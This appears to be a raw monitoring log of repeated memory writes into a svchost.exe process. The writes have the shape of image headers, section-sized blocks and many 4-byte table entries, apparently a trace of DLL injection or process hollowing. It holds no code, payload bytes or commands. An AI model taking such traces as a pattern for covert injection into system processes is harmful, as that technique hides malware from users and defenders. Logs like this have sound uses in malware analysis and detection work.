Write svchost.exe address = 0x70000, size = 12 True 7
Fn
Data
Write svchost.exe address = 0x20000, size = 17 True 7
Fn
Data
Write svchost.exe address = 0x70000, size = 16 True 45
Fn
Data
Write svchost.exe address = 0x10004018, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 14 True 4
Fn
Data
Write svchost.exe address = 0x1000401c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 15 True 4
Fn
Data
Write svchost.exe address = 0x10004020, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 20 True 5
Fn
Data
Write svchost.exe address = 0x10004024, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 9 True 2
Fn
Data
Write svchost.exe address = 0x10004028, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000402c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 12 True 5
Fn
Data
Write svchost.exe address = 0x10004030, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 10 True 2
Fn
Data
Write svchost.exe address = 0x10004034, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004038, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000403c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 25 True 1
Fn
Data
Write svchost.exe address = 0x10004040, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 18 True 2
Fn
Data
Write svchost.exe address = 0x10004044, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004048, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 24 True 4
Fn
Data
Write svchost.exe address = 0x1000404c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004050, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 19 True 2
Fn
Data
Write svchost.exe address = 0x10004054, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 13 True 4
Fn
Data
Write svchost.exe address = 0x10004058, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000405c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 27 True 1
Fn
Data
Write svchost.exe address = 0x10004060, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 6 True 1
Fn
Data
Write svchost.exe address = 0x10004064, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004068, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 28 True 1
Fn
Data
Write svchost.exe address = 0x1000406c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004000, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004004, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004008, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000400c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004010, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 21 True 2
Fn
Data
Write svchost.exe address = 0x100040c8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040cc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040d0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040d4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040d8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 16 True 4
Fn
Data
Write svchost.exe address = 0x10004080, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004084, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004088, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000408c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 22 True 1
Fn
Data
Write svchost.exe address = 0x1000409c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040a0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 11 True 1
Fn
Data
Write svchost.exe address = 0x100040a4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040a8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 5 True 1
Fn
Data
Write svchost.exe address = 0x100040ac, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 7 True 1
Fn
Data
Write svchost.exe address = 0x100040b0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040b4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040b8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040bc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040c0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004094, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004074, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004078, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x70000, size = 1024 True 2
Fn
Data
Write svchost.exe address = 0x100000, size = 388 True 1
Fn
Data
Write svchost.exe address = 0x350000, size = 40 True 1
Fn
Data
Write svchost.exe address = 0x360000, size = 20 True 1
Fn
Data
Write svchost.exe address = 0x100000, size = 128 True 1
Fn
Data
Write svchost.exe address = 0x370000, size = 44 True 1
Fn
Data
Write svchost.exe address = 0x50000, size = 367 True 1
Fn
Data
Write svchost.exe address = 0x60000, size = 112 True 221
Fn
Data
Write svchost.exe address = 0x602104, size = 12 True 1
Fn
Data
Write svchost.exe address = 0x10000000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x10001000, size = 343040 True 2
Fn
Data
Write svchost.exe address = 0x10055000, size = 80384 True 2
Fn
Data
Write svchost.exe address = 0x10069000, size = 165288 True 1
Fn
Data
Write svchost.exe address = 0x10069000, size = 154624 True 1
Fn
Data
Write svchost.exe address = 0x10092000, size = 512 True 2
Fn
Data
Write svchost.exe address = 0x10093000, size = 512 True 2
Fn
Data
Write svchost.exe address = 0x10094000, size = 12288 True 2
Fn
Data
Write svchost.exe address = 0x20000, size = 26 True 7
Fn
Data
Write svchost.exe address = 0xe0000, size = 12 True 11
Fn
Data
Write svchost.exe address = 0xe0000, size = 16 True 187
Fn
Data
Write svchost.exe address = 0x100550b8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 21 True 9
Fn
Data
Write svchost.exe address = 0x100550bc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550c0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 13 True 17
Fn
Data
Write svchost.exe address = 0x100550c4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 14 True 13
Fn
Data
Write svchost.exe address = 0x100550c8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 10 True 8
Fn
Data
Write svchost.exe address = 0x100550cc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550d0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 22 True 7
Fn
Data
Write svchost.exe address = 0x100550d4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 12 True 17
Fn
Data
Write svchost.exe address = 0x100550d8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 18 True 10
Fn
Data
Write svchost.exe address = 0x100550dc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 15 True 20
Fn
Data
Write svchost.exe address = 0x100550e0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550e4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 20 True 9
Fn
Data
Write svchost.exe address = 0x100550e8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550ec, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550f0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 17 True 13
Fn
Data
Write svchost.exe address = 0x100550f4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550f8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550fc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055100, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055104, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 19 True 4
Fn
Data
Write svchost.exe address = 0x10055108, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005510c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055110, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055114, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055118, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005511c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055120, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055124, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055128, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005512c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 24 True 11
Fn
Data
Write svchost.exe address = 0x10055130, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 23 True 3
Fn
Data
Write svchost.exe address = 0x10055134, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 16 True 24
Fn
Data
Write svchost.exe address = 0x10055138, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005513c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055140, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055144, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055148, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 9 True 11
Fn
Data
Write svchost.exe address = 0x1005514c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055150, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055154, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055158, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005515c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055160, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055164, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055168, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005516c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055170, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055174, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 6 True 1
Fn
Data
Write svchost.exe address = 0x10055178, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005517c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055180, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055184, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055188, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005518c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 25 True 3
Fn
Data
Write svchost.exe address = 0x10055190, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 28 True 2
Fn
Data
Write svchost.exe address = 0x10055194, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055198, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005519c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551a0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551a4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551a8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551ac, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551b4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551b8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551bc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551c0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551c4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551c8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551cc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551d0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551d4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551d8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551dc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551e0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551e4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551e8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551ec, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551f0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551f4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100551f8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 11 True 2
Fn
Data
Write svchost.exe address = 0x100551fc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 29 True 2
Fn
Data
Write svchost.exe address = 0x10055200, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055204, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055208, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005520c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055210, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055214, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055218, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005521c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055220, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055224, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055228, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005522c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055230, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055234, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 38 True 1
Fn
Data
Write svchost.exe address = 0x10055238, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005523c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055240, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055244, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 8 True 7
Fn
Data
Write svchost.exe address = 0x10055248, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005524c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055250, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055254, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055258, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005525c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055260, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055264, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055268, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 7 True 7
Fn
Data
Write svchost.exe address = 0x1005526c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055270, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055274, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055278, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552cc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055000, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055004, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055008, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005500c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055010, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055014, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055018, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005501c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055020, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055024, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055028, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005502c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 53 True 1
Fn
Data
Write svchost.exe address = 0x10055030, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055034, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055038, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005503c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055040, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055044, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055048, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005504c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055050, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055054, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055058, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005505c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055060, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055064, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055068, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005506c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055070, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055074, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005531c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552d4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552dc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552e0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552e4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552e8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552ec, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552f0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552f4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552f8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552fc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055300, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055304, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055308, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005530c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055310, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055314, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055288, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005528c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055290, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055294, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055298, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005529c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055324, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055328, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005532c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055330, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055334, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055338, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005533c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055340, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055344, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055348, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005534c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055350, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005507c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055080, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 30 True 2
Fn
Data
Write svchost.exe address = 0x10055084, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 27 True 3
Fn
Data
Write svchost.exe address = 0x10055088, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1005508c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055090, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055094, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055098, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 34 True 2
Fn
Data
Write svchost.exe address = 0x1005509c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550a0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550a4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550a8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550ac, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100550b0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552a4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552a8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552ac, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552b0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552b4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552b8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552bc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552c0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100552c4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10055280, size = 4 True 1
Fn
Data
Write svchost.exe address = 0xe0000, size = 1024 True 2
Fn
Data
Write svchost.exe address = 0x200000, size = 388 True 1
Fn
Data
Write svchost.exe address = 0x210000, size = 40 True 1
Fn
Data
Write svchost.exe address = 0xe0000, size = 5 True 2
Fn
Data
Write svchost.exe address = 0x230000, size = 132460 True 1
Fn
Data
Write svchost.exe address = 0x210000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x5c0000, size = 128 True 3
Fn
Data
Write svchost.exe address = 0x5e0000, size = 44 True 3
Fn
Data
Write svchost.exe address = 0x230000, size = 85256 True 1
Fn
Data
Write svchost.exe address = 0x250000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0xe0000, size = 6 True 1
Fn
Data
Write svchost.exe address = 0x230000, size = 747 True 1
Fn
Data
Write svchost.exe address = 0x240000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x50000, size = 367 True 1
Fn
Data
Write svchost.exe address = 0x60000, size = 112 True 62
Fn
Data
Write svchost.exe address = 0x602104, size = 12 True 1
Fn
Data
Write svchost.exe address = 0x10000000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x10001000, size = 822784 True 2
Fn
Data
Write svchost.exe address = 0x100ca000, size = 145920 True 2
Fn
Data
Write svchost.exe address = 0x100ee000, size = 117248 True 1
Fn
Data
Write svchost.exe address = 0x1010e000, size = 512 True 2
Fn
Data
Write svchost.exe address = 0x1010f000, size = 1024 True 2
Fn
Data
Write svchost.exe address = 0x10110000, size = 512 True 2
Fn
Data
Write svchost.exe address = 0x10111000, size = 29696 True 2
Fn
Data
Write svchost.exe address = 0x20000, size = 26 True 3
Fn
Data
Write svchost.exe address = 0xe0000, size = 12 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 19 True 6
Fn
Data
Write svchost.exe address = 0xe0000, size = 16 True 57
Fn
Data
Write svchost.exe address = 0x100ca088, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca08c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 16 True 3
Fn
Data
Write svchost.exe address = 0x100ca090, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 13 True 7
Fn
Data
Write svchost.exe address = 0x100ca094, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 9 True 3
Fn
Data
Write svchost.exe address = 0x100ca098, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 20 True 5
Fn
Data
Write svchost.exe address = 0x100ca09c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0a0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 15 True 3
Fn
Data
Write svchost.exe address = 0x100ca0a4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 18 True 3
Fn
Data
Write svchost.exe address = 0x100ca0a8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0ac, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 21 True 1
Fn
Data
Write svchost.exe address = 0x100ca0b0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0b4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0b8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 12 True 10
Fn
Data
Write svchost.exe address = 0x100ca0bc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 22 True 1
Fn
Data
Write svchost.exe address = 0x100ca0c0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 14 True 4
Fn
Data
Write svchost.exe address = 0x100ca0c4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0c8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0cc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0d0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0d4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 10 True 1
Fn
Data
Write svchost.exe address = 0x100ca0d8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0dc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0e0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 11 True 3
Fn
Data
Write svchost.exe address = 0x100ca0e4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0e8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0ec, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0f0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0f4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0f8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca0fc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca100, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca104, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 24 True 2
Fn
Data
Write svchost.exe address = 0x100ca108, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca10c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca110, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca114, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca118, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca11c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca120, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 17 True 3
Fn
Data
Write svchost.exe address = 0x100ca124, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca128, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca12c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca130, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca134, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca138, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca13c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca140, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca144, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 25 True 1
Fn
Data
Write svchost.exe address = 0x100ca148, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 28 True 1
Fn
Data
Write svchost.exe address = 0x100ca14c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca150, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca154, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca158, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca15c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca160, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca164, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100ca168, size = 4 True 1
Fn
Data
Write svchost.exe address = 0xe0000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x360000, size = 388 True 1
Fn
Data
Write svchost.exe address = 0x470000, size = 40 True 1
Fn
Data
Write svchost.exe address = 0xe0000, size = 6 True 1
Fn
Data
Write svchost.exe address = 0x470000, size = 747 True 1
Fn
Data
Write svchost.exe address = 0x510000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x520000, size = 128 True 1
Fn
Data
Write svchost.exe address = 0x540000, size = 44 True 1
Fn
Data
Write svchost.exe address = 0x50000, size = 367 True 1
Fn
Data
Write svchost.exe address = 0x60000, size = 112 True 64
Fn
Data
Write svchost.exe address = 0x602104, size = 12 True 1
Fn
Data
Write svchost.exe address = 0x10000000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x10001000, size = 9216 True 2
Fn
Data
Write svchost.exe address = 0x10004000, size = 7168 True 2
Fn
Data
Write svchost.exe address = 0x10006000, size = 1036 True 1
Fn
Data
Write svchost.exe address = 0x10006000, size = 512 True 1
Fn
Data
Write svchost.exe address = 0x10007000, size = 1024 True 2
Fn
Data
Write svchost.exe address = 0x20000, size = 22 True 3
Fn
Data
Write svchost.exe address = 0x70000, size = 12 True 7
Fn
Data
Write svchost.exe address = 0x20000, size = 16 True 8
Fn
Data
Write svchost.exe address = 0x100040ec, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 26 True 4
Fn
Data
Write svchost.exe address = 0x10004000, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 24 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 17 True 6
Fn
Data
Write svchost.exe address = 0x70000, size = 16 True 50
Fn
Data
Write svchost.exe address = 0x100040d0, size = 4 True 1
Fn
Data
